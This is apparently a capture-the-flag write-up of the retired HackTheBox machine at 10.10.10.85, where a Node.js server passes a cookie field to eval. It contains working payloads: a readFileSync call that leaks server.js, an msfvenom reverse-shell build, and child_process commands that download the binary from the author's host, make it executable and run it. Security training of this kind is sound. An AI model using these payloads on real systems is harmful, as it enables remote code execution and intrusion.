Machine Info
This is a retired machine on HackTheBox.
Machine IP: 10.10.10.85 My machine IP: 10.10.14.19
Enumeration
The machine only have port 3000 open. This port runs a HTTP Server with Nodejs and Express. We are then given a cookie with the value:
1
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==
Which translates to:
1
2
3
4
5
6
{
"username":"Dummy",
"country":"Idk Probably Somewhere Dumb",
"city":"Lametown",
"num":"2"
}
And after we load the page, the page says:
Hey Dummy 2 + 2 is 22
At this point, I was sure that the output is processed by some kind of templating engine like Pug or Twig or Handlebars, I immediately go online to search for SSTI POCs and falsely concluded that the web server was using Twig. In fact, the web server is not using a templating engine at all. 3 hours wasted.
If I change the num
property to abc
. The web server returns:
ReferenceError: abc is not defined
at eval (eval at <anonymous> (/home/sun/server.js:13:29), <anonymous>:1:3)
at /home/sun/server.js:13:16
at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
at next (/home/sun/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
at /home/sun/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)
at next (/home/sun/node_modules/express/lib/router/index.js:275:10)
at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)
The web server is clearly using eval
as told by the obvious stack trace, and directly as well, no sandbox, no nothing. We also know the location and name of the source code file: /home/sun/server.js
.
Unsafe evaluation of input data
We can retrieve the source code for the web server with the following payload in the num
property:
1
require('fs').readFileSync('server.js').toString('utf8')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);
And RCE with eval
in Nodejs is trivial. I can’t spawn a reverse connection with nc
or bash
, so I used msfvenom
to generate a Linux reverse shell binary, start up my own web server and execute the following payload:
1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4444 -f elf -o reverse.elf
1
var cmd = require('child_process').spawnSync('wget',['http://10.10.14.19:8080/reverse.elf'],{'shell':true});cmd.stderr.toString();cmd.stdout.toString();
1
var cmd = require('child_process').spawnSync('chmod',['+x','reverse.elf'],{'shell':true});cmd.stderr.toString();cmd.stdout.toString();
1
var cmd = require('child_process').spawnSync('./reverse.elf',[],{'shell':true});cmd.stderr.toString();cmd.stdout.toString();
Root shell
Very easy, I won’t bother writing it down. Thanks for reading!